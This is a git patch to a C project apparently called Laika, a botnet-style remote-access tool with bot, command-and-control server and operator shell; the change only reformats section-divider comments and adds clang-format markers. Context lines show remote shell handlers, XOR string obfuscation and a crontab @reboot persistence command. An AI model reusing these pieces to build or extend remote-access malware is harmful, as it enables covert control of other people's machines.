From 1d6ce15b3dbe6dcef7d93d3042a871a4b347540b Mon Sep 17 00:00:00 2001 From: CPunch Date: Mon, 27 Jun 2022 18:20:23 -0500 Subject: [PATCH] Minor comments refactoring --- CMakeLists.txt | 4 ++-- bot/lin/linshell.c | 2 +- bot/src/bot.c | 8 ++++++-- bot/src/shell.c | 2 +- bot/win/winshell.c | 2 +- cnc/src/cnc.c | 14 +++++++++----- cnc/src/cpanel.c | 2 +- cnc/src/cpeer.c | 6 +++--- lib/include/lbox.h | 6 +++--- lib/include/lconfig.h.in | 4 ++-- lib/include/lpacket.h | 4 ++-- lib/src/lpeer.c | 4 ++-- lib/src/lpolllist.c | 4 ++-- shell/src/sclient.c | 12 ++++++++---- shell/src/scmd.c | 6 +++--- 15 files changed, 46 insertions(+), 34 deletions(-) diff --git a/CMakeLists.txt b/CMakeLists.txt index 314a98e..b64a5e7 100644 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -58,7 +58,7 @@ set(SODIUM_MINIMAL ON) set(SODIUM_STATIC ON) add_subdirectory(libsodium) -# ========================================== [[ CONFIG DEFAULTS ]] ========================================== +# ===================================== [[ CONFIG DEFAULTS ]] ===================================== set(LAIKA_VMBOXCONFIG ${CMAKE_SOURCE_DIR}/lib/include/lboxconfig.h) @@ -89,7 +89,7 @@ configure_file(${CMAKE_SOURCE_DIR}/lib/include/lconfig.h.in ${CMAKE_SOURCE_DIR}/ # config vm boxes add_subdirectory(tools/vmboxgen) -# =========================================== [[ BUILD TOOLING ]] =========================================== +# ====================================== [[ BUILD TOOLING ]] ====================================== # compile laikalib, tools, cnc & bot add_subdirectory(lib) diff --git a/bot/lin/linshell.c b/bot/lin/linshell.c index 2a2e1f8..38e1e64 100644 --- a/bot/lin/linshell.c +++ b/bot/lin/linshell.c @@ -55,7 +55,7 @@ void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) { laikaM_free(shell); } -/* ============================================[[ Shell Handlers ]]============================================= */ +/* ====================================[[ Shell Handlers ]]===================================== */ bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) { char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t)]; diff --git a/bot/src/bot.c b/bot/src/bot.c index f5639f6..e7db69e 100644 --- a/bot/src/bot.c +++ b/bot/src/bot.c @@ -18,7 +18,9 @@ void laikaB_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) /* stubbed */ } -/* =============================================[[ Packet Tables ]]============================================== */ +/* ====================================[[ Packet Tables ]]===================================== */ + +/* clang-format off */ struct sLaika_peerPacketInfo laikaB_pktTbl[LAIKAPKT_MAXNONE] = { LAIKA_CREATE_PACKET_INFO(LAIKAPKT_HANDSHAKE_RES, @@ -43,6 +45,8 @@ struct sLaika_peerPacketInfo laikaB_pktTbl[LAIKAPKT_MAXNONE] = { true), }; +/* clang-format on */ + /* socket event */ void laikaB_onPollFail(struct sLaika_socket *sock, void *uData) { struct sLaika_peer *peer = (struct sLaika_peer*)sock; @@ -51,7 +55,7 @@ void laikaB_onPollFail(struct sLaika_socket *sock, void *uData) { laikaS_kill(&bot->peer->sock); } -/* ==================================================[[ Bot ]]=================================================== */ +/* ==========================================[[ Bot ]]========================================== */ struct sLaika_bot *laikaB_newBot(void) { LAIKA_BOX_SKID_START(char*, cncPubKey, LAIKA_PUBKEY); diff --git a/bot/src/shell.c b/bot/src/shell.c index 512744c..1d01f79 100644 --- a/bot/src/shell.c +++ b/bot/src/shell.c @@ -37,7 +37,7 @@ void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell) { } } -/* ============================================[[ Packet Handlers ]]============================================= */ +/* ====================================[[ Packet Handlers ]]==================================== */ void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { struct sLaika_bot *bot = (struct sLaika_bot*)uData; diff --git a/bot/win/winshell.c b/bot/win/winshell.c index 678018e..6d77c89 100644 --- a/bot/win/winshell.c +++ b/bot/win/winshell.c @@ -97,7 +97,7 @@ void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) { laikaM_free(shell); } -/* ============================================[[ Shell Handlers ]]============================================= */ +/* ====================================[[ Shell Handlers ]]===================================== */ /* edited from https://github.com/microsoft/terminal/blob/main/samples/ConPTY/EchoCon/EchoCon/EchoCon.cpp */ HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPipeOut, int cols, int rows) { diff --git a/cnc/src/cnc.c b/cnc/src/cnc.c index 1a2f19e..a46986a 100644 --- a/cnc/src/cnc.c +++ b/cnc/src/cnc.c @@ -8,7 +8,7 @@ #include "cpeer.h" #include "cnc.h" -/* ==============================================[[ PeerHashMap ]]=============================================== */ +/* ======================================[[ PeerHashMap ]]======================================= */ typedef struct sCNC_PeerHashElem { struct sLaika_peer *peer; @@ -27,7 +27,7 @@ uint64_t cnc_PeerElemHash(const void *item, uint64_t seed0, uint64_t seed1) { return *(uint64_t*)(u->pub); /* hashes pub key (first 8 bytes) */ } -/* ============================================[[ Packet Handlers ]]============================================= */ +/* ====================================[[ Packet Handlers ]]==================================== */ bool checkPeerKey(struct sLaika_peer *peer, void *uData) { if (sodium_memcmp(peer->peerPub, uData, crypto_kx_PUBLICKEYBYTES) == 0) @@ -93,7 +93,9 @@ void laikaC_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) laikaS_emptyOutPacket(peer, LAIKAPKT_PINGPONG); /* gg 2 ez */ } -/* =============================================[[ Packet Tables ]]============================================== */ +/* =====================================[[ Packet Tables ]]===================================== */ + +/* clang-format off */ #define DEFAULT_PKT_TBL \ LAIKA_CREATE_PACKET_INFO(LAIKAPKT_HANDSHAKE_REQ, \ @@ -139,7 +141,9 @@ struct sLaika_peerPacketInfo laikaC_authPktTbl[LAIKAPKT_MAXNONE] = { #undef DEFAULT_PKT_TBL -/* ==================================================[[ CNC ]]=================================================== */ +/* clang-format on */ + +/* ==========================================[[ CNC ]]========================================== */ struct sLaika_cnc *laikaC_newCNC(uint16_t port) { struct sLaika_cnc *cnc = laikaM_malloc(sizeof(struct sLaika_cnc)); @@ -401,7 +405,7 @@ void laikaC_sweepPeersTask(struct sLaika_taskService *service, struct sLaika_tas laikaC_iterPeers(cnc, sweepPeers, (void*)cnc); } -/* ===============================================[[ Peer Iter ]]================================================ */ +/* =======================================[[ Peer Iter ]]======================================= */ struct sWrapperData { tLaika_peerIter iter; diff --git a/cnc/src/cpanel.c b/cnc/src/cpanel.c index e0fbf98..ff9bedc 100644 --- a/cnc/src/cpanel.c +++ b/cnc/src/cpanel.c @@ -41,7 +41,7 @@ void laikaC_sendRmvPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer) laikaS_endOutPacket(authPeer); } -/* =========================================[[ [Auth] Packet Handlers ]]========================================= */ +/* ================================[[ [Auth] Packet Handlers ]]================================= */ void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) { struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData; diff --git a/cnc/src/cpeer.c b/cnc/src/cpeer.c index 650dc2c..bbd941d 100644 --- a/cnc/src/cpeer.c +++ b/cnc/src/cpeer.c @@ -4,7 +4,7 @@ #include "cpeer.h" #include "lerror.h" -/* ===============================================[[ Peer Info ]]================================================ */ +/* =======================================[[ Peer Info ]]======================================= */ struct sLaika_peerInfo *allocBasePeerInfo(struct sLaika_cnc *cnc, size_t sz) { struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)laikaM_malloc(sz); @@ -40,7 +40,7 @@ void laikaC_freePeerInfo(struct sLaika_peer *peer, struct sLaika_peerInfo *pInfo } -/* ==============================================[[ Shell Info ]]================================================ */ +/* ======================================[[ Shell Info ]]======================================= */ int findOpenShellID(struct sLaika_peerInfo *pInfo) { int id; @@ -116,7 +116,7 @@ void laikaC_closeShells(struct sLaika_peer *peer) { } } -/* ========================================[[ [Peer] Packet Handlers ]]========================================== */ +/* ================================[[ [Peer] Packet Handlers ]]================================= */ void laikaC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData; diff --git a/lib/include/lbox.h b/lib/include/lbox.h index cfdb065..5caba61 100644 --- a/lib/include/lbox.h +++ b/lib/include/lbox.h @@ -38,7 +38,7 @@ struct sLaikaB_box { uint8_t code[LAIKA_VM_CODESIZE]; }; -/* ==============================================[[ Box Var API ]]=============================================== */ +/* ======================================[[ Box Var API ]]====================================== */ #define LAIKA_BOX_STARTVAR(type, ident, box, data) \ uint8_t __data##ident[LAIKA_VM_CODESIZE] = data; \ @@ -61,7 +61,7 @@ struct sLaikaB_box { # define LAIKA_BOX_SKID_END(ident) ((void)0) /* no-op */ #endif -/* ==============================================[[ Laika Boxes ]]=============================================== */ +/* ======================================[[ Laika Boxes ]]====================================== */ /* BOX_SKID decodes null-terminated strings using a provided xor _key. aptly named lol */ #define LAIKA_BOX_SKID(_key) { \ @@ -86,7 +86,7 @@ struct sLaikaB_box { } \ } -/* ==============================================[[ Raw Box API ]]=============================================== */ +/* ======================================[[ Raw Box API ]]====================================== */ LAIKA_FORCEINLINE void* laikaB_unlock(struct sLaikaB_box *box, void *data) { struct sLaikaV_vm vm = { diff --git a/lib/include/lconfig.h.in b/lib/include/lconfig.h.in index 06235e0..ccd99a0 100644 --- a/lib/include/lconfig.h.in +++ b/lib/include/lconfig.h.in @@ -18,7 +18,7 @@ /* raw obfuscated strings */ -/* =============================================[[ Linux Strings ]]============================================== */ +/* =====================================[[ Linux Strings ]]===================================== */ /* we want a semi-random file lock that is stable between similar builds, * so we use the GIT_VERSION as our file lock :D */ @@ -30,7 +30,7 @@ #define LAIKA_LIN_CRONTAB_ENTRY "(crontab -l ; echo \"@reboot %s\")| crontab -" -/* ============================================[[ Windows Strings ]]============================================= */ +/* ====================================[[ Windows Strings ]]==================================== */ /* we want a semi-random mutex that is stable between similar builds, * so we use the GIT_VERSION as our mutex :D */ diff --git a/lib/include/lpacket.h b/lib/include/lpacket.h index 8855db1..7dfc4f4 100644 --- a/lib/include/lpacket.h +++ b/lib/include/lpacket.h @@ -34,7 +34,7 @@ if packet doesn't have either, it can be sent & received by both peer & cnc */ enum { -/* ==================================================[[ Peer ]]================================================== */ +/* =========================================[[ Peer ]]========================================== */ LAIKAPKT_VARPKT, /* layout of LAIKAPKT_VARPKT: * LAIKAPKT_SIZE pktSize; @@ -73,7 +73,7 @@ enum { * uint32_t id; * char buf[VAR_PACKET_LENGTH-sizeof(uint32_t)]; */ -/* ==================================================[[ Auth ]]================================================== */ +/* =========================================[[ Auth ]]========================================== */ LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ, /* second packet sent by authenticated peers (panel). there is no response packet */ /* layout of LAIKAPKT_STAGE2_HANDSHAKE_REQ * uint8_t peerType; diff --git a/lib/src/lpeer.c b/lib/src/lpeer.c index a0ee273..4602e89 100644 --- a/lib/src/lpeer.c +++ b/lib/src/lpeer.c @@ -36,7 +36,7 @@ void laikaS_freePeer(struct sLaika_peer *peer) { laikaM_free(peer); } -/* ===========================================[[ Start/End Packets ]]============================================ */ +/* ===================================[[ Start/End Packets ]]=================================== */ void laikaS_emptyOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id) { struct sLaika_socket *sock = &peer->sock; @@ -157,7 +157,7 @@ void laikaS_setSecure(struct sLaika_peer *peer, bool flag) { peer->useSecure = flag; } -/* ===========================================[[ Handle Poll Events ]]=========================================== */ +/* ==================================[[ Handle Poll Events ]]=================================== */ bool laikaS_handlePeerIn(struct sLaika_socket *sock) { struct sLaika_peer *peer = (struct sLaika_peer*)sock; diff --git a/lib/src/lpolllist.c b/lib/src/lpolllist.c index b7791b0..5a28e5c 100644 --- a/lib/src/lpolllist.c +++ b/lib/src/lpolllist.c @@ -2,7 +2,7 @@ #include "lmem.h" #include "lpolllist.h" -/* ===========================================[[ Helper Functions ]]============================================= */ +/* ===================================[[ Helper Functions ]]==================================== */ typedef struct sLaika_hashMapElem { SOCKET fd; @@ -21,7 +21,7 @@ uint64_t elem_hash(const void *item, uint64_t seed0, uint64_t seed1) { return (uint64_t)(u->fd); } -/* ==============================================[[ PollList API ]]============================================== */ +/* =====================================[[ PollList API ]]====================================== */ void laikaP_initPList(struct sLaika_pollList *pList) { laikaS_init(); diff --git a/shell/src/sclient.c b/shell/src/sclient.c index 7a844f4..28b01b9 100644 --- a/shell/src/sclient.c +++ b/shell/src/sclient.c @@ -13,7 +13,7 @@ void shell_pingTask(struct sLaika_taskService *service, struct sLaika_task *task laikaS_emptyOutPacket(client->peer, LAIKAPKT_PINGPONG); } -/* ==============================================[[ PeerHashMap ]]=============================================== */ +/* ======================================[[ PeerHashMap ]]====================================== */ typedef struct sShell_hashMapElem { int id; @@ -33,7 +33,7 @@ uint64_t shell_ElemHash(const void *item, uint64_t seed0, uint64_t seed1) { return *(uint64_t*)(u->pub); /* hashes pub key (first 8 bytes) */ } -/* ============================================[[ Packet Handlers ]]============================================= */ +/* ====================================[[ Packet Handlers ]]==================================== */ void shellC_handleHandshakeRes(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { uint8_t endianness = laikaS_readByte(&peer->sock); @@ -138,7 +138,9 @@ void shellC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *u shellC_closeShell(client); } -/* ==============================================[[ Packet Table ]]============================================== */ +/* =====================================[[ Packet Table ]]====================================== */ + +/* clang-format off */ struct sLaika_peerPacketInfo shellC_pktTbl[LAIKAPKT_MAXNONE] = { LAIKA_CREATE_PACKET_INFO(LAIKAPKT_HANDSHAKE_RES, @@ -171,6 +173,8 @@ struct sLaika_peerPacketInfo shellC_pktTbl[LAIKAPKT_MAXNONE] = { true) }; +/* clang-format on */ + /* socket event */ void shellC_onPollFail(struct sLaika_socket *sock, void *uData) { struct sLaika_peer *peer = (struct sLaika_peer*)sock; @@ -179,7 +183,7 @@ void shellC_onPollFail(struct sLaika_socket *sock, void *uData) { laikaS_kill(&client->peer->sock); } -/* ===============================================[[ Client API ]]=============================================== */ +/* ======================================[[ Client API ]]======================================= */ void shellC_init(tShell_client *client) { laikaP_initPList(&client->pList); diff --git a/shell/src/scmd.c b/shell/src/scmd.c index 5b16244..a3fd995 100644 --- a/shell/src/scmd.c +++ b/shell/src/scmd.c @@ -15,7 +15,7 @@ jmp_buf cmdE_err; -/* ===========================================[[ Helper Functions ]]============================================= */ +/* ===================================[[ Helper Functions ]]==================================== */ tShell_cmdDef *shellS_findCmd(char *cmd); @@ -30,7 +30,7 @@ int shellS_readInt(char *str) { return atoi(str); } -/* ===========================================[[ Command Handlers ]]============================================= */ +/* ===================================[[ Command Handlers ]]==================================== */ void helpCMD(tShell_client *client, int argc, char *argv[]); @@ -110,7 +110,7 @@ void openShellCMD(tShell_client *client, int argc, char *argv[]) { PRINTSUCC("Shell closed!\n"); } -/* =============================================[[ Command Table ]]============================================== */ +/* =====================================[[ Command Table ]]===================================== */ #define CREATECMD(_cmd, _syntax, _help, _callback) ((tShell_cmdDef){.cmd = _cmd, .syntax = _syntax, .help = _help, .callback = _callback})